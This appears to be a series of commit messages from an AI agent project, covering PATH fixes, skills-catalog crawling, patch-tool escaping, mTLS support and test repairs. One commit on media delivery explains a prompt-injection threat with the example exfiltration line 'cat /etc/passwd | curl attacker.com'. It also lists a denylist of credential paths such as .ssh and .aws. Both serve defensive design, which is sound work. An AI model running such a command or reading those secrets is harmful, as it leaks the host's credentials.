fallback for bare 'npx' / 'npm' / 'node' commands only checked
$HERMES_HOME/node/bin/ and ~/.local/bin/, so execvp() failed with
'[Errno 2] No such file or directory: npx' on every Node-based stdio
MCP server (Railway, Anthropic, GitHub Copilot, etc.).
The naive workaround — symlink /usr/local/bin/npx into the user's PATH —
fails one layer deeper because npx's shebang re-execs /usr/bin/env node
and node also lives at /usr/local/bin/node.
Fix: add /usr/local/bin/<cmd> as a third candidate in the fallback list.
This is the canonical install location for Node on:
- Linux from-source builds
- the upstream node:bookworm-slim image, which the Hermes Docker
image copies node + npm + corepack from since #4977 (the Node 22 LTS
refactor that exposed this)
- macOS Homebrew on Intel
Because the resolver already calls _prepend_path(resolved_env, command_dir)
after locating the command, /usr/local/bin gets prepended to the env's
PATH automatically, which also fixes the second-layer shebang failure
(npx-cli.js can now find node).
Scope is intentionally narrow: the fix activates only when the bare
command isn't otherwise locatable through the user's PATH. Users who
explicitly narrowed PATH for a non-Node MCP server see no change in
behavior.
Tested:
- tests/tools/test_mcp_tool_issue_948.py: new test
test_resolve_stdio_command_falls_back_to_usr_local_bin (mirrors the
existing hermes-node-bin fallback test)
- Full MCP test suite: 254/254 pass across 7 test files
- E2E against a freshly-built Docker image: reproduced the original
failure mode (env.PATH=/opt/data/bin:/usr/bin:/bin), confirmed the
resolver returns /usr/local/bin/npx and prepends /usr/local/bin to
PATH; subprocess.run of the resolved command prints '10.9.8' and
exits 0 with empty stderr
- Negative E2E on the host (where Node is already on PATH via mise):
resolver still hits the mise install dir, /usr/local/bin candidate
is not consulted, PATH is unchanged
PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.
Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.
Default flipped to denylist-only:
• /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
• $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
• macOS Library/Keychains
• $HERMES_HOME/{.env, auth.json, credentials}
The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.
• `gateway/platforms/base.py` — `validate_media_delivery_path()`
short-circuits to "return resolved if not under denylist" when
strict is off. Strict mode preserves the original cache-then-
allowlist-then-recency logic. New `_media_delivery_strict_mode()`
reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
DEFAULT_CONFIG; existing keys documented as "only consulted in
strict mode." No `_config_version` bump needed (deep-merge picks
up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
`HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
with 8 cases covering the public default (stale .md accepted, any
extension delivers, credential paths still blocked, strict env-var
aliases, filter E2E).
Validation:
- tests/gateway/test_platform_base.py: 119/119 pass
- tests/gateway/test_tts_media_routing.py: 7/7 pass
- tests/tools/test_send_message_tool.py: 121/121 pass
- tests/hermes_cli/test_kanban_notify.py: 12/12 pass
- tests/cron/test_scheduler.py: 120/120 pass
- E2E via execute_code with real imports:
• stale .md outside allowlist → accepted (default)
• same path with STRICT=1 → rejected
• $HOME/.ssh/id_rsa → rejected (default)
• filter_local_delivery_paths([md, key]) → [md] only
• gateway.strict in config.yaml → bridged to env (true=1, false=0)
The skills.sh source was returning ~858 unique skills from a hardcoded
list of 28 popular keyword searches (each capped at 50 results). The
real catalog is ~20k — exposed via sitemap-skills-{1,2}.xml linked from
the site's sitemap index.
Switch the empty-query path in SkillsShSource.search() to walk the
sitemap instead of scraping the homepage's curated featured strip.
Falls back to the homepage scrape if the sitemap is unreachable.
build_skills_index.crawl_skills_sh() now just calls search("", limit=0)
instead of running 28 keyword searches — same result in one HTTP round
instead of 28.
Also handle a httpx + brotlicffi interaction: the per-skill sitemaps
are ~900 KB brotli-compressed and the cffi backend's streaming decode
chokes on them. Forcing Accept-Encoding to gzip dodges the bug without
requiring a brotli library upgrade.
E2E against live skills.sh: 19,932 unique skills walked in 0.7s.
Tests: 137 pass (+1 new regression test exercising the sitemap path).
Floor for skills.sh raised 100 → 10,000 in EXPECTED_FLOORS so a future
regression hard-fails the build.
The web_crawl_tool() function was an orphan — no model schema registered
it, no skill or CLI command called it, and the agent had no way to invoke
it. PR #32608 proposed wiring it up as a model-callable tool; we've
decided not to expose crawl as a separate capability since web_search +
web_extract cover the use cases we want models to have.
Removed:
- tools/web_tools.py: web_crawl_tool() (~230 LOC)
- plugins/web/firecrawl/provider.py: supports_crawl() + crawl()
- plugins/web/tavily/provider.py: supports_crawl() + crawl()
- plugins/web/xai/provider.py: supports_crawl() override
- agent/web_search_provider.py: supports_crawl() + crawl() ABC methods
- agent/web_search_registry.py: get_active_crawl_provider() +
the 'crawl' branch in _resolve()
- agent/display.py: web_crawl tool-progress rendering
- hermes_cli/config.py: 'web_crawl' from TAVILY_API_KEY.tools
- tools/website_policy.py: stale comment reference
- Tests: removed TestWebCrawlTavily class, the two website-policy
web_crawl tests, the searxng/ddgs/brave-free crawl-error tests,
the integration test_web_crawl method, and the
test_unconfigured_crawl_emits_top_level_error test. Trimmed the
capability-flag parametrize list and the WebSearchProvider ABC
conformance tests.
- Docs: trimmed the Crawl column from capability tables in both EN
and zh-Hans, updated the developer-guide ABC table.
Net: 25 files, +115/-1067.
Closes#33762 (the schema-text bug only existed if #32608 landed).
Supersedes #32608.
Extends @liuhao1024's escape-normalized fix so the patch tool also
recovers when old_string carries a real tab byte and matches via the
`exact` strategy — which is the headline reproduction in the issue and
the most common case in practice (LLMs frequently get old_string right
because they re-read the file, but still serialize new_string's tabs as
two-character `\t`).
Instead of gating on the match strategy, decide per-sequence by looking
at the *matched region of the file*: only convert `\t` -> tab and
`\r` -> CR when the file region we're replacing actually contains the
corresponding control byte. That mirrors the region-based heuristic in
`_detect_escape_drift` and keeps legitimate writes of the literal
two-character string `"\t"` (e.g. patching `sep = "\t"` in Python
source) untouched — those files have a backslash+t in the matched
region, not a real tab, so new_string passes through verbatim. `\n` is
still excluded because newlines serialize correctly through JSON and
unescaping would corrupt source escape sequences far more often than
help.
E2E verified against the live `patch` tool: tab-indented file + literal
`\t` in new_string under both `exact` (Variant 1) and `escape_normalized`
(Variant 2) strategies now produces real tab bytes; a Python source line
containing `sep = "\t"` (legitimate literal backslash-t) survives a
patch unchanged.
Tests updated to cover both strategies and the legitimate-literal case,
and to assert that `\n` is intentionally preserved.
Refs #33733
When the patch tool matches via the escape_normalized strategy, old_string
contains literal \t, \n, \r sequences that get unescaped to match real
control characters in the file. However, new_string was written as-is,
leaving literal backslash sequences in the output.
Add _unescape_common_sequences() helper and apply it to new_string when
the matching strategy is escape_normalized. This ensures LLM-generated
tab/newline sequences become real bytes in the patched file.
Fixes#33733
* fix(skills): pull full ClawHub catalog into the skills index
The website was showing 200 ClawHub skills out of 20k+ because
`ClawHubSource.search("")` for empty queries went straight to a single
unpaginated request. ClawHub's API caps any single page at 200 items and
returns a `nextCursor`; we grabbed page 1 and stopped, so the cached
index served from hermes-agent.nousresearch.com had a silent 99%
truncation.
End users never hit clawhub.ai directly (the index is rebuilt twice
daily by .github/workflows/skills-index.yml and served as a static JSON
on the docs site), so the cap-and-cache architecture is correct — it
just wasn't being filled.
Changes:
- `ClawHubSource.search(query="")` now routes through the existing
`_load_catalog_index()` paginating walker instead of the unpaginated
listing fallback (non-empty queries still hit the fast catalog search).
- `_load_catalog_index()` max_pages 50 → 250 (50k-skill ceiling; live
catalog is ~20k as of May 2026, with headroom for growth).
- `build_skills_index.py`: per-source crawl limits split out — ClawHub
and LobeHub get 100k, others keep their effective caps.
- `EXPECTED_FLOORS["clawhub"]` 50 → 5000 so the next pagination
regression hard-fails the CI build instead of silently shipping a
degenerate index.
Test plan:
- New unit test `test_search_empty_query_paginates_full_catalog`
exercises the cursor-following path with three mocked pages (450
total items) and asserts all pages are walked.
- Existing 9 ClawHub tests + 127 broader skills_hub tests all pass.
- E2E against live ClawHub API: walker reached 9700+ skills across 49
pages before this commit landed, paginating well past the previous
50-page cap.
* fix(skills): raise ClawHub ceilings — live catalog is 50k, not 20k
E2E walk against live ClawHub API hit my initial 250-page cap at 49,698
skills with cursor=yes still pending. The catalog is roughly 2.5x larger
than the docstring estimate.
- max_pages 250 → 750 (150k ceiling, walks terminate on cursor=None
well before this in practice)
- SOURCE_LIMITS['clawhub'] 100k → 200k
- EXPECTED_FLOORS['clawhub'] 5000 → 20000
Adds first-class `client_cert` / `client_key` config keys so MCP servers
behind mTLS work without an external TLS-terminating proxy. Resolves
inbound community question (Jeremy W.).
Schema (per `mcp_servers.<name>`, HTTP/SSE only):
- `client_cert: "/path/to/combined.pem"` — single PEM with cert + key
- `client_cert: "/path/to/cert"` + `client_key: "/path/to/key"` — separate
- `client_cert: [cert, key]` or `[cert, key, password]` — list form,
with optional passphrase for encrypted keys
Paths support `~` expansion. Missing files raise a server-scoped
`FileNotFoundError` at connect time rather than failing later with an
opaque TLS handshake error.
Wiring:
- New SDK HTTP path (mcp >= 1.24): `cert=` on the user-owned
`httpx.AsyncClient` alongside the existing `verify=` handling.
- SSE path: routed through an `httpx_client_factory` that wraps the
SDK's defaults (follow_redirects=True) and layers `verify` + `cert`
on top. The factory is only injected when needed, so the SDK's
built-in `create_mcp_http_client` keeps being used in the default
case.
- Deprecated mcp<1.24 path left untouched — that SDK's
`streamablehttp_client` signature doesn't expose `cert`, and adding
it would be dead code.
Also documents the previously-undocumented `ssl_verify` key (bool or
CA bundle path) in the MCP config reference.
Tests:
- `tests/tools/test_mcp_client_cert.py` (new, 19 tests):
- `_resolve_client_cert` helper: all three input forms, `~` expansion,
missing-file and validation errors.
- HTTP transport: `cert=` forwarded into `httpx.AsyncClient` for
string and tuple forms; absent when unset; missing-file error
propagates.
- SSE transport: factory only injected when cert or non-default
verify is set; factory applies cert, custom CA bundle, and
preserves `follow_redirects=True` + forwarded headers/auth.
- Existing tests: 200/200 in `test_mcp_tool.py` + `test_mcp_sse_transport.py`
still pass.
Two unrelated transient failures on PR #33661's initial CI run, both
pre-existing on main and recovered on rerun. Hardening:
1. tests/cron/test_scheduler.py::TestRunJobConfigLogging — added mocks for
resolve_runtime_provider() and discover_mcp_tools(). The yaml-warning
tests intend to exercise only the warning-log path, but
_run_job_impl continues into provider resolution and MCP discovery
after the warning. Both can spawn subprocesses / hit the network and
pushed the test over its 30s budget under GHA load.
2. tests/tools/test_browser_supervisor.py — wrapped Chrome teardown
against the stdlib subprocess._wait() race (bpo-38630). When SIGCHLD
arrives during proc.wait(), _try_wait(WNOHANG) can return a foreign
pid and the 'assert pid == self.pid or pid == 0' fires. Fixture now
catches AssertionError/TimeoutExpired, force-kills, and always reaps
so no zombie escapes. Same hardening applied to the early-skip branch.
Two pre-existing test failures on main, both pointing at code that
was hardened recently — not behaviour bugs, test expectations that
fell out of date.
1. tests/tools/test_kanban_tools.py::test_worker_complete_rejects_stale_run_id
c002668ff ("fix(kanban): add grace period to detect_crashed_workers")
gates each running task behind a launch-window grace period so
freshly-spawned workers whose PID isn't yet visible on /proc don't
get reclaimed. The test creates a worker_env fixture moments before
asserting reclamation, so the default 30s grace skips the liveness
check and detect_crashed_workers returns []. Fix: set
HERMES_KANBAN_CRASH_GRACE_SECONDS=0 in the test so we get the
immediate-reclaim semantics the assertion expects.
2. tests/tools/test_windows_native_support.py::
TestKanbanWaitpidWindowsGuard::test_source_gates_waitpid_loop
ffdc937c1 ("fix(kanban): hoist zombie reaper out of dispatch_once")
reshaped reap_worker_zombies to use an early-return Windows guard
(\`if os.name == "nt": return []\`) instead of an inverted gate
(\`if os.name != "nt":\`). Both correctly keep the waitpid loop off
Windows — the early-return form is stronger because the rest of the
function never runs. Fix: accept either gate pattern in the source
scan.
Both failures reproduce verbatim on \`origin/main\` in a clean env;
neither relates to in-flight work on #33564 (the FD-leak fix). Filing
this as a separate fix-it PR per green-CI-policy so the kanban CI
shard stays green for downstream PRs.
